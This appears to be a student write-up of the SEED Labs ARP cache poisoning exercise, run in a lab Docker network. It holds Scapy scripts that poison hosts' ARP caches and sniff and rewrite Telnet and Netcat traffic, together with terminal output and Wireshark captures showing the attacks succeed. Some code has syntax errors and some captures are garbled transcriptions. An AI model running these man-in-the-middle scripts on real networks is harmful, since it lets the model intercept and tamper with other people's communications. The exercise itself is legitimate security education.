

	IP Address	MAC Address
Attacker - M	10.9.0.105	02:42:0a:09:00:69
Host A	10.9.0.5	02:42:0a:09:00:05
Host B	10.9.0.6	02:42:0a:09:00:06

Task 1: ARP Cache Poisoning

```

GNU nano 4.8 ARP_venom.py
#!/usr/bin/env python3
from scapy.all import *

E = Ether()
A = ARP()
A.op = 1 # 1 for ARP requests; 2 for ARP reply

pkt = E/A
ls(E)
sendp(pkt)

```

Wrote a script that defines Ethernet interface and constructs an ARP request then builds a packet with the defined characteristics to send across the network.

The screenshot shows two windows. The top window is Wireshark, capturing traffic on interface br-7979ac1a1725. It displays a list of packets, with the selected packet (No. 7) being an ARP request from 10.9.0.1 to 10.9.0.5. The bottom window is a terminal on a VM named 'seed@VM: ~/.../Labsetup'. It shows the execution of the ARP_venom.py script, which successfully sends an ARP request packet. The terminal output includes details of the packet fields, such as destination MAC, source MAC, and the ARP request type.

```

[SEED Labs] Capturing from br-7979ac1a1725
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
Apply a display filter ... <Ctrl-/>
No. Time Source Destination Protocol Length Info
1 2023-02-27 13:59:02.635724... 10.9.0.1 224.0.0.251 MDNS 201 Standard query 0x0000 PTR _ipps._tcp.l
2 2023-02-27 13:59:04.042513... fe80::42:f3ff:fe7e:... ff02::fb MDNS 221 Standard query 0x0000 PTR _ipps._tcp.l
3 2023-02-27 14:03:18.729802... 10.9.0.1 224.0.0.251 MDNS 201 Standard query 0x0000 PTR _ipps._tcp.l
4 2023-02-27 14:03:20.043678... fe80::42:f3ff:fe7e:... ff02::fb MDNS 221 Standard query 0x0000 PTR _ipps._tcp.l
5 2023-02-27 14:07:06.177029... 02:42:0a:09:00:69 Broadcast ARP 42 Who has 10.9.0.1? Tell 10.9.0.105
6 2023-02-27 14:07:06.177070... 02:42:f3:7e:a6:b8 02:42:0a:09:00:69 ARP 42 10.9.0.1 is at 02:42:f3:7e:a6:b8
7 2023-02-27 14:07:06.193442... 02:42:0a:09:00:69 02:42:f3:7e:a6:b8 ARP 42 Who has 0.0.0.0? Tell 10.9.0.105

seed@VM: ~/.../Labsetup
root@04fe381345b7:/volumes# nano mitm.py
root@04fe381345b7:/volumes# touch ARP_venom.py
root@04fe381345b7:/volumes# nano ARP_venom.py
root@04fe381345b7:/volumes# nano test.py
root@04fe381345b7:/volumes# nano ARP_venom.py
root@04fe381345b7:/volumes# python ./ARP_venom.py
bash: python: command not found
root@04fe381345b7:/volumes# python3 ./ARP_venom.py
dst : DestMACField = 'ff:ff:ff:ff:ff:ff' (None)
src : SourceMACField = '02:42:0a:09:00:69' (None)
type : XShortEnumField = 36864 (36864)
nwtype : XShortField = 1 (1)
otype : XShortEnumField = 2048 (2048)
nwlen : FieldLenField = None (None)
olen : FieldLenField = None (None)
op : ShortEnumField = 1 (1)
nwsrc : MultipleTypeField = '02:42:0a:09:00:69' (None)
osrc : MultipleTypeField = '10.9.0.105' (None)
nwdst : MultipleTypeField = '00:00:00:00:00:00' (None)
odst : MultipleTypeField = '0.0.0.0' (None)
.
Sent 1 packets.
root@04fe381345b7:/volumes#

```

Running the above script produces interface information fields from ls(E) and ls(ARP) highlighting the parameters contained within the packet that was sent from the attacker container to the host VM.

Task 1A: Cache poisoning using an ARP request

```

GNU nano 4.8 test.py
#!/usr/bin/env python3

#Poison A
from scapy.all import *
E = Ether()
A = ARP(psrc="10.9.0.6",hwsrc="02:42:0a:09:00:69",
        ,pdst="10.9.0.5")
A.op = 1
# 1 for ARP request: 2 for ARP reply
pkt = E/A
ls(E)
pkt.show()
sendp(pkt)

#Poison B
#E = Ether()
#B = ARP(psrc="10.9.0.5",hwsrc="02:42:0a:09:00:69",
#        ,pdst="10.9.0.6")
#A.op = 1
# 1 for ARP request: 2 for ARP reply
#pkt = E/B
#ls(E)
#pkt.show()
#sendp(pkt)

```

Preparing a script for ARP Cache poisoning of Host A. The following screenshot confirms Host A's current ifconfig and the subsequent ARP cache from prior communication with Host B.

```

root@ee4382c8bdcc:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.9.0.5 netmask 255.255.255.0 broadcast 10.9.0.255
    ether 02:42:0a:09:00:05 txqueuelen 0 (Ethernet)
    RX packets 156 bytes 19237 (19.2 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 84 bytes 5614 (5.6 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@ee4382c8bdcc:/# arp -n
Address          HWtype  HWaddress           Flags Mask          Iface
10.9.0.6          ether   02:42:0a:09:00:06   C                   eth0
10.9.0.105        ether   02:42:0a:09:00:69   C                   eth0
root@ee4382c8bdcc:/#

```

Verifying current ARP cache with `arp -n`. Host B is 10.9.0.6 with a MAC address of 02:42:0a:09:00:06.

```

root@ee4382c8bdcc:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.6         ether   02:42:0a:09:00:06 C              eth0
10.9.0.105       ether   02:42:0a:09:00:69 C              eth0
root@ee4382c8bdcc:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.6         ether   02:42:0a:09:00:69 C              eth0
10.9.0.105       ether   02:42:0a:09:00:69 C              eth0
root@ee4382c8bdcc:/# █

```

Host A is confirmed to have a Poisoned ARP cache which directs packet traffic meant for Host B through the attacking machine 10.9.0.105 first. Forwarding is maintained in order to not trigger man-in-the-middle presence. Preliminary attack is successful.

Task 1B: Cache poisoning using an ARP response

```

GNU nano 4.8
#!/usr/bin/env python3

#Poison A
from scapy.all import *
E = Ether()
A = ARP(psrc="10.9.0.6",hwsrc="02:42:0a:09:00:69",
        ,pdst="10.9.0.5")
A.op = 2
# 1 for ARP request: 2 for ARP reply
pkt = E/A
ls(E)
pkt.show()
sendp(pkt)

#Poison B
#E = Ether()
#B = ARP(psrc="10.9.0.5",hwsrc="02:42:0a:09:00:69",
#        ,pdst="10.9.0.6")
#A.op = 1
# 1 for ARP request: 2 for ARP reply
#pkt = E/B
#ls(E)
#pkt.show()
#sendp(pkt)

```

Prepared script for an ARP reply to Host A from Attacker M as if the reply came from Host B.

```

root@5c7de3627fda:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.105       ether   02:42:0a:09:00:69 C              eth0
10.9.0.5         ether   02:42:0a:09:00:05 C              eth0
root@5c7de3627fda:/# █

```

Status of Host B prior to poisoning Host A.

Scenario 1: Host B's IP and MAC are properly cached in Host A

```
root@ee4382c8bdcc:/# arp -n
```

Address	HWtype	HWaddress	Flags	Mask	Iface
10.9.0.6	ether	02:42:0a:09:00:06	C		eth0
10.9.0.105	ether	02:42:0a:09:00:69	C		eth0

```
root@ee4382c8bdcc:/#
```

Status of Host A ARP cache prior to execution of python script written at beginning of Task1B. Note the separate HWaddresses for each host.

```
root@ee4382c8bdcc:/# arp -n
```

Address	HWtype	HWaddress	Flags	Mask	Iface
10.9.0.6	ether	02:42:0a:09:00:69	C		eth0
10.9.0.105	ether	02:42:0a:09:00:69	C		eth0

```
root@ee4382c8bdcc:/#
```

Status of Host A ARP Cache at the conclusion of Attacker M's ARP poisoning python script. This screenshot is showing the ARP cache of Host A was successfully poisoned which is showing the same MAC address for both 10.9.0.105 and 10.9.0.6. Note the matching HWaddresses which matches the 10.9.0.105 address in the previous screenshot.

Scenario 2: Delete Host B IP from Host A Cache

```
root@ee4382c8bdcc:/# arp -d 10.9.0.6
root@ee4382c8bdcc:/# arp -n
```

Address	HWtype	HWaddress	Flags	Mask	Iface
10.9.0.105	ether	02:42:0a:09:00:69	C		eth0

```
root@ee4382c8bdcc:/#
```

Deleting Host B entry from Host A ARP cache shows the ARP poisoning attack did not execute successfully. This is because there is no entry for Host B in the ARP cache of Host A which is important for the reply, otherwise there is no host available.

Task 1C: Cache poisoning using an ARP gratuitous message.

```
GNU nano 4.8 gratuitous_test.py
#!/usr/bin/env python3

#Poison A
from scapy.all import *
E = Ether(dst="ff:ff:ff:ff:ff:ff", src="02:42:0a:09:00:69")
A = ARP(psrc="10.9.0.6", hwsrc="02:42:0a:09:00:69",
        pdst="10.9.0.6", hwdst="ff:ff:ff:ff:ff:ff")

pkt = E/A
pkt.show()
sendp(pkt)
```

ARP gratuitous message script preparing for the following two scenarios: Host B IP and MAC in Host A cache and Host B IP and MAC deleted from Host A cache.

Scenario 1: Host B's IP and MAC are properly cached in Host A

```

root@6d78409d31d0:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.6         ether   02:42:0a:09:00:06 C              eth0
root@6d78409d31d0:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.6         ether   02:42:0a:09:00:69 C              eth0
root@6d78409d31d0:/#

```

Pinging Host B from Host A establishes the proper routing information in Host A's ARP cache. Then running our gratuitous script above in our Attacker Machine M poisons Host A's ARP cache sending Host B's packet through the attackers MAC address first then forwarding to Host B.

Scenario 2: Delete Host B IP from Host A Cache

```

root@ee4382c8bdcc:/# arp -n
Address          HWtype  HWaddress      Flags Mask    Iface
10.9.0.105       ether   02:42:0a:09:00:69 C              eth0
root@ee4382c8bdcc:/#

```

Deleting Host B's IP from Host A's ARP cache did not allow for cache poisoning by Attacker M. A previous IP and MAC address entry from a prior packet transmission is required.

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

```

GNU nano 4.8
#!/usr/bin/env python3

#Poison A
from scapy.all import *
E = Ether()
A = ARP(psrc="10.9.0.6",hwsrc="02:42:0a:09:00:69",
        ,pdst="10.9.0.5")
A.op = 1 # 1 for ARP request: 2 for ARP reply
pkt = E/A
ls(E)
pkt.show()
sendp(pkt)

#Poison B
E = Ether()
B = ARP(psrc="10.9.0.5",hwsrc="02:42:0a:09:00:69",
        ,pdst="10.9.0.6")
A.op = 1 # 1 for ARP request: 2 for ARP reply
pkt1 = E/B
ls(E)
pkt1.show()
sendp(pkt1)

while True:
    sendp(pkt)
    sendp(pkt1)
    time.sleep(5)

```

The script above is packaged in a manner that will poison both Host A and Host B simultaneously when the script is run on Attacker M's machine. This will loop until user exit. First, we must ensure that both Host A and Host B's ARP tables include entries for packet transmissions between one another. We will ping Host B from Host A and vice versa.

```

root@6d78409d31d0:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=64 time=0.099 ms
64 bytes from 10.9.0.6: icmp_seq=2 ttl=64 time=0.113 ms
64 bytes from 10.9.0.6: icmp_seq=3 ttl=64 time=0.112 ms
^C
--- 10.9.0.6 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2040ms
rtt min/avg/max/mdev = 0.099/0.108/0.113/0.006 ms
root@6d78409d31d0:/# arp
Address HWtype HWaddress Flags Mask
B-10.9.0.6.net-10.9.0.0 ether 02:42:0a:09:00:06 C
root@6d78409d31d0:/#

```

Ping Host B from Host A and confirm ARP tables are true to their IP and MAC configurations.

```

root@aa24c37cc7a2:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=64 time=0.196 ms
64 bytes from 10.9.0.5: icmp_seq=2 ttl=64 time=0.163 ms
^C
--- 10.9.0.5 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1020ms
rtt min/avg/max/mdev = 0.163/0.179/0.196/0.016 ms
root@aa24c37cc7a2:/# arp
Address HWtype HWaddress Flags Mask Iface
A-10.9.0.5.net-10.9.0.0 ether 02:42:0a:09:00:05 C eth0
root@aa24c37cc7a2:/#

```

Ping Host A from Host B and confirm ARP tables are true to their IP and MAC configurations.

```

RX packets 0 bytes 0 (Address B-10.9.0.6.net-10.9.0.0 HWtype ether HWaddress 02:42:0a:09:00:06 Flags Mask C Iface eth0
RX errors 0 dropped 0
TX packets 58 bytes 96 root@6d78409d31d0:/# arp
TX errors 0 dropped 0 Address HWtype HWaddress Flags Mask Iface
[02/27/23]seed@VM:~/.../Labsetup B-10.9.0.6 ether 02:42:0a:09:00:69 C eth0
aa24c37cc7a2 B-10.9.0.6 M-10.9.0.105.net-10.9.0 ether 02:42:0a:09:00:69 C eth0
6d78409d31d0 A-10.9.0.5 root@6d78409d31d0:/#
c83df502dfd5 M-10.9.0.105
[02/27/23]seed@VM:~/.../Labsetup

root@aa24c37cc7a2:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=64 time=0.196 ms
64 bytes from 10.9.0.5: icmp_seq=2 ttl=64 time=0.163 ms
^C
--- 10.9.0.5 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1020ms
rtt min/avg/max/mdev = 0.163/0.179/0.196/0.016 ms
root@aa24c37cc7a2:/# arp
Address HWtype HWaddress Flags Mask Iface
A-10.9.0.5.net-10.9.0.0 ether 02:42:0a:09:00:05 C eth0
root@aa24c37cc7a2:/# arp
Address HWtype HWaddress Flags Mask Iface
A-10.9.0.5.net-10.9.0.0 ether 02:42:0a:09:00:69 C eth0
M-10.9.0.105.net-10.9.0 ether 02:42:0a:09:00:69 C eth0
root@aa24c37cc7a2:/#

```

Three terminals are shown in the screenshot above; top-right terminal is Host A with a poisoned ARP cache, Bottom-right terminal is Host B with a poisoned ARP cache.

```

150 2023-02-28 17:38:34.632497... fe80::42:81ff:fea6:... ff02::fb MDNS 221 Standard query 0x0000 PTR _ipps._tcp.local, "QM" question PTR _pgpkey-hkp._t...
151 2023-02-28 18:05:21.386630... 02:42:0a:09:00:06 Broadcast ARP 42 Who has 10.9.0.5? Tell 10.9.0.105
152 2023-02-28 18:05:21.386608... 02:42:0a:09:00:05 02:42:0a:09:00:06 ARP 42 10.9.0.5 is at 02:42:0a:09:00:05
153 2023-02-28 18:05:21.416886... 02:42:0a:09:00:06 02:42:0a:09:00:05 ARP 42 10.9.0.6 is at 02:42:0a:09:00:06
154 2023-02-28 18:05:21.449797... 02:42:0a:09:00:06 Broadcast ARP 42 Who has 10.9.0.6? Tell 10.9.0.105
155 2023-02-28 18:05:21.449824... 02:42:0a:09:00:06 02:42:0a:09:00:06 ARP 42 10.9.0.6 is at 02:42:0a:09:00:06
156 2023-02-28 18:05:21.480685... 02:42:0a:09:00:06 02:42:0a:09:00:06 ARP 42 Who has 10.9.0.6? Tell 10.9.0.5 (duplicate use of 10.9.0.5 detected!)
157 2023-02-28 18:05:21.480714... 02:42:0a:09:00:06 02:42:0a:09:00:06 ARP 42 10.9.0.6 is at 02:42:0a:09:00:06 (duplicate use of 10.9.0.5 detected!)
158 2023-02-28 18:05:21.513134... 02:42:0a:09:00:06 02:42:0a:09:00:06 ARP 42 Who has 10.9.0.6? Tell 10.9.0.5 (duplicate use of 10.9.0.5 detected!)
159 2023-02-28 18:05:21.513160... 02:42:0a:09:00:06 02:42:0a:09:00:06 ARP 42 10.9.0.6 is at 02:42:0a:09:00:06 (duplicate use of 10.9.0.5 detected!)
160 2023-02-28 18:05:26.550045... 02:42:0a:09:00:06 02:42:0a:09:00:06 ARP 42 Who has 10.9.0.6? Tell 10.9.0.5 (duplicate use of 10.9.0.5 detected!)
161 2023-02-28 18:05:31.586051... 02:42:0a:09:00:06 02:42:0a:09:00:06 ARP 42 Who has 10.9.0.6? Tell 10.9.0.5 (duplicate use of 10.9.0.5 detected!)
162 2023-02-28 18:05:31.586051... 02:42:0a:09:00:06 02:42:0a:09:00:06 ARP 42 Who has 10.9.0.6? Tell 10.9.0.5 (duplicate use of 10.9.0.5 detected!)
163 2023-02-28 18:05:31.586094... 02:42:0a:09:00:06 02:42:0a:09:00:06 ARP 42 10.9.0.6 is at 02:42:0a:09:00:06 (duplicate use of 10.9.0.5 detected!)

Frame 161: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface br-a0f953fdcc77, id 0
Ethernet II, Src: 02:42:0a:09:00:06 (02:42:0a:09:00:06), Dst: 02:42:0a:09:00:06 (02:42:0a:09:00:06)
Address Resolution Protocol (reply)
[Duplicate IP address detected for 10.9.0.6 (02:42:0a:09:00:06) - also in use by 02:42:0a:09:00:06 (frame 153)]
[Duplicate IP address detected for 10.9.0.5 (02:42:0a:09:00:06) - also in use by 02:42:0a:09:00:05 (frame 152)]

```

Wireshark screenshot showing looped ARP poisoning from Attacker M. Next is to turn off IP forwarding on Host M.

Time Source Destination Protocol Length Info

Time	Source	Destination	Protocol	Length	Info
1244.2023-02-28 19:02:49.521868	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) reply
1423.2023-02-28 19:07:54.150921	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request
1428.2023-02-28 19:07:55.184523	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request
1429.2023-02-28 19:07:56.212113	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request
1430.2023-02-28 19:07:57.231618	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request
1431.2023-02-28 19:07:57.804809	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request
1432.2023-02-28 19:07:58.255914	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request
1433.2023-02-28 19:07:58.832734	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request
1434.2023-02-28 19:07:59.280544	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request
1440.2023-02-28 19:07:59.856617	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request
1441.2023-02-28 19:08:00.304780	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request
1443.2023-02-28 19:08:00.880389	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request
1444.2023-02-28 19:08:01.327901	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request
1446.2023-02-28 19:08:02.351825	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request

Frame 1243: 126 bytes on wire (1008 bits), 126 bytes captured (1008 bits) on interface br-af953fdec77, id 0
Ethernet II, Src: 02:42:0a:09:00:09 (02:42:0a:09:00:09), Dst: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
Internet Protocol Version 4, Src: 10.9.0.105, Dst: 10.9.0.5
Internet Control Message Protocol

From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.175 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.144 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=4 ttl=63 time=0.279 ms
^C
--- 10.9.0.6 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3065ms
rtt min/avg/max/mdev = 0.109/0.176/0.279/0.063 ms
root@6d78409d31d0:~# arp -n
Address HWtype HWaddress Flags Mask
10.9.0.6 ether 02:42:0a:09:00:69 C
10.9.0.105 ether 02:42:0a:09:00:69 C
root@6d78409d31d0:~# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
^C
--- 10.9.0.6 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3076ms
root@6d78409d31d0:~#

seed@VM: ~/Labsetup
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=4 ttl=63 time=0.215 ms
^C
--- 10.9.0.5 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3064ms
rtt min/avg/max/mdev = 0.088/0.153/0.215/0.057 ms
root@aa24c37cc7a2:~# arp -n
Address HWtype HWaddress Flags Mask
10.9.0.5 ether 02:42:0a:09:00:69 C
10.9.0.105 ether 02:42:0a:09:00:69 C
root@aa24c37cc7a2:~# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
^C
--- 10.9.0.5 ping statistics ---
9 packets transmitted, 0 received, 100% packet loss, time 8187ms
root@aa24c37cc7a2:~#

With sysctl net.ipv4.ip_forward=0 having IP forwarding off, packets between Hosts A and B are routinely dropped and cannot effectively reach their destinations.

Time Source Destination Protocol Length Info

Time	Source	Destination	Protocol	Length	Info
1225.2023-02-28 19:02:47.472312	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request
1226.2023-02-28 19:02:47.472312	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request
1227.2023-02-28 19:02:47.472385	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request
1228.2023-02-28 19:02:47.472431	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request
1229.2023-02-28 19:02:47.472444	10.9.0.6	10.9.0.5	ICMP	126	Redirect (New nexthop: 10.9.0.105)
1230.2023-02-28 19:02:47.472445	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) reply
1233.2023-02-28 19:02:48.496177	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request
1234.2023-02-28 19:02:48.496194	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request
1235.2023-02-28 19:02:49.521744	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request
1240.2023-02-28 19:02:49.521723	10.9.0.105	10.9.0.6	ICMP	126	Redirect (New nexthop: 10.9.0.5)
1241.2023-02-28 19:02:49.521825	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request
1242.2023-02-28 19:02:49.521862	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) reply
1243.2023-02-28 19:02:49.521908	10.9.0.6	10.9.0.5	ICMP	126	Redirect (New nexthop: 10.9.0.105)
1244.2023-02-28 19:02:49.521868	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) reply

Frame 1243: 126 bytes on wire (1008 bits), 126 bytes captured (1008 bits) on interface br-af953fdec77, id 0
Ethernet II, Src: 02:42:0a:09:00:09 (02:42:0a:09:00:09), Dst: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
Internet Protocol Version 4, Src: 10.9.0.105, Dst: 10.9.0.5
Internet Control Message Protocol

Statistics ---
d, 0 received, 100% packet loss, time 2028ms
arp -n
HWtype HWaddress Flags Mask
ether 02:42:0a:09:00:69 C
ether 02:42:0a:09:00:69 C
arp -n
HWtype HWaddress Flags Mask
ether 02:42:0a:09:00:69 C
ether 02:42:0a:09:00:69 C
ping 10.9.0.6
6: icmp_seq=1 ttl=63 time=0.109 ms
6: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
6: icmp_seq=2 ttl=63 time=0.175 ms
6: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
6: icmp_seq=3 ttl=63 time=0.144 ms
6: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.6)
6: icmp_seq=4 ttl=63 time=0.279 ms
Statistics ---
d, 4 received, 0% packet loss, time 3065ms
rtt min/avg/max/mdev = 0.109/0.176/0.279/0.063 ms
seed@VM: ~/Labsetup
Statistics ---
d, 0 received, 100% packet loss, time 4078ms
ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=63 time=0.103 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=2 ttl=63 time=0.206 ms
64 bytes from 10.9.0.5: icmp_seq=3 ttl=63 time=0.088 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=4 ttl=63 time=0.215 ms
^C
--- 10.9.0.5 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3064ms
rtt min/avg/max/mdev = 0.088/0.153/0.215/0.057 ms
root@aa24c37cc7a2:~#

Forwarding on allows the Hosts A and B to remain unsuspecting of any poisoning unless they are actively viewing packet transmissions which show there is a redirect happening before their transmissions are received. Wireshark is showing redirect and duplicate packets resulting for ARP poisoning.

```
GNU nano 4.8 figureinthemiddle.py
#!/usr/bin/python3

from scapy.all import *
import re

IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"

def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B and pkt[TCP].payload:
        real = (pkt[TCP].payload.load)
        data = real.decode()
        stri = re.sub(r'[a-zA-Z]', r'Z', data)
        newpkt = pkt[IP]
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)
        newpkt = newpkt/stri
        print("Data transformed from: "+str(real)+" to: "+ stri)
        send(newpkt, verbose = False)
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = pkt[IP]
        send(newpkt, verbose = False)

pkt = sniff(filter='tcp', prn=spoof_pkt)
```

Packet spoof script enabling data transformations in the following step.

The image shows a terminal window with a network capture analysis. The top pane displays a list of network packets with columns for No., Time, Source, and Destination. The bottom pane shows the details of a selected packet (No. 4713), including Ethernet II, Internet Protocol Version 4, and Transmission Control Protocol (tcp) fields. The terminal output shows a command prompt where the user has entered 'docksh aa' and 'arp', and the system has responded with the IP address 10.9.0.5.

No.	Time	Source	Destination
4713	2023-02-28 22:44:16.982685	10.9.0.6	10.9.0.5
4714	2023-02-28 22:44:17.008189	02:42:0a:09:00:05	02:42:0a:09:00:06
4715	2023-02-28 22:44:17.008273	02:42:0a:09:00:06	02:42:0a:09:00:05
4716	2023-02-28 22:44:17.022569	10.9.0.5	10.9.0.6
4717	2023-02-28 22:44:17.022569	10.9.0.6	10.9.0.5
4718	2023-02-28 22:44:17.052476	10.9.0.6	10.9.0.5
4719	2023-02-28 22:44:17.101908	10.9.0.6	10.9.0.5
4720	2023-02-28 22:44:17.129679	10.9.0.6	10.9.0.5
4721	2023-02-28 22:44:17.156915	10.9.0.6	10.9.0.5
4722	2023-02-28 22:44:17.193622	10.9.0.6	10.9.0.5
4723	2023-02-28 22:44:17.226866	10.9.0.6	10.9.0.5
4724	2023-02-28 22:44:17.257532	10.9.0.6	10.9.0.5
4725	2023-02-28 22:44:17.290355	10.9.0.6	10.9.0.5
4726	2023-02-28 22:44:17.322812	10.9.0.6	10.9.0.5

Frame 3374: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface 0
 Ethernet II, Src: 02:42:0a:09:00:05 (02:42:0a:09:00:05), Dst: 02:42:0a:09:00:06
 Internet Protocol Version 4, Src: 10.9.0.5, Dst: 10.9.0.6
 Transmission Control Protocol, Src Port: 48878, Dst Port: 23, Seq: 365128888, Win: 0, Len: 0

0000 02 42 0a 09 00 06 02 42 0a 09 00 05 08 00 45 10 B... B...
 0010 00 34 3b 12 40 00 40 06 eb 85 0a 09 00 00 00 00
 0020 00 06 3f ae 00 17 d9 f9 4d 5c 3d 5e 5f 00 00
 0030 01 f9 14 43 00 00 01 01 00 0a 05 11 b...
 0040 0d 91

Transmission Control Protocol (tcp), 32 bytes
 Other Locations

Address 10.9.0.5
 10.9.0.105
 root@aa24c37cc7a2:~#
 PING 10.9.0.5 (10.9.0.5): 56(84) bytes of data:
 ^C
 --- 10.9.0.5 ping statistics ---
 9 packets transmitted, 0 received, 100% packet loss, time 0ms
 root@aa24c37cc7a2:~#
 exit
 [02/28/23]seed@VM:~/.../Labsetup\$ docksh aa
 root@aa24c37cc7a2:~# arp
 Address HWtype HWaddress Flags Mask Iface
 A-10.9.0.5.net-10.9.0.0 ether 02:42:0a:09:00:69 C eth0
 M-10.9.0.105.net-10.9.0.0 ether 02:42:0a:09:00:69 C eth0
 root@aa24c37cc7a2:~#

This screenshot shows data input for Host A when telnet to Host B is being transformed in transit through Host M. Data transformations are kind of wacky so this will require more troubleshooting.

Task 3: MITM Attack on Netcat using ARP Cache Poisoning

```

seed@VM: ~/.../Labsetup
GNU nano 4.8 python3
#!/usr/bin/env python3

from scapy.all import *

IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"

def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        # Create a new packet based on the captured one.
        # 1) We need to delete the checksum in the IP & TCP headers,
        # because our modification will make them invalid.
        # Scapy will recalculate them if these fields are missing.
        # 2) We also delete the original TCP payload.

        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        #####
        # Construct the new payload based on the old payload.
        # Students need to implement this part.

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load # The original payload data
            newdata = data.replace(b'drew', b'AHHH') #re.sub(r'[0-9a-zA-Z]', r'A', data.decode()) # No change is made in this
            newpkt = newpkt/newdata
            send(newpkt)

        else:
            send(newpkt)
            #####
        if pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
            # Create new packet based on the captured one
            # Do not make any change

            newpkt = IP(bytes(pkt[IP]))
            del(newpkt.chksum)
            del(newpkt[TCP].chksum)
            send(newpkt)

pkt = sniff(filter='tcp', prn=spoof_pkt)
  
```

```

seed@aa24c37cc7a2:~$ nc 10.9.0.6 9090
exam
exam
exit
^C
seed@aa24c37cc7a2:~$ exit
logout
Connection closed by foreign host.
seed@aa24c37cc7a2:~$ exit
logout
Connection closed by foreign host.
root@6d78409d31d0:/# nc 10.9.0.6 9090
exam
exma
exam
exam
exam
exam
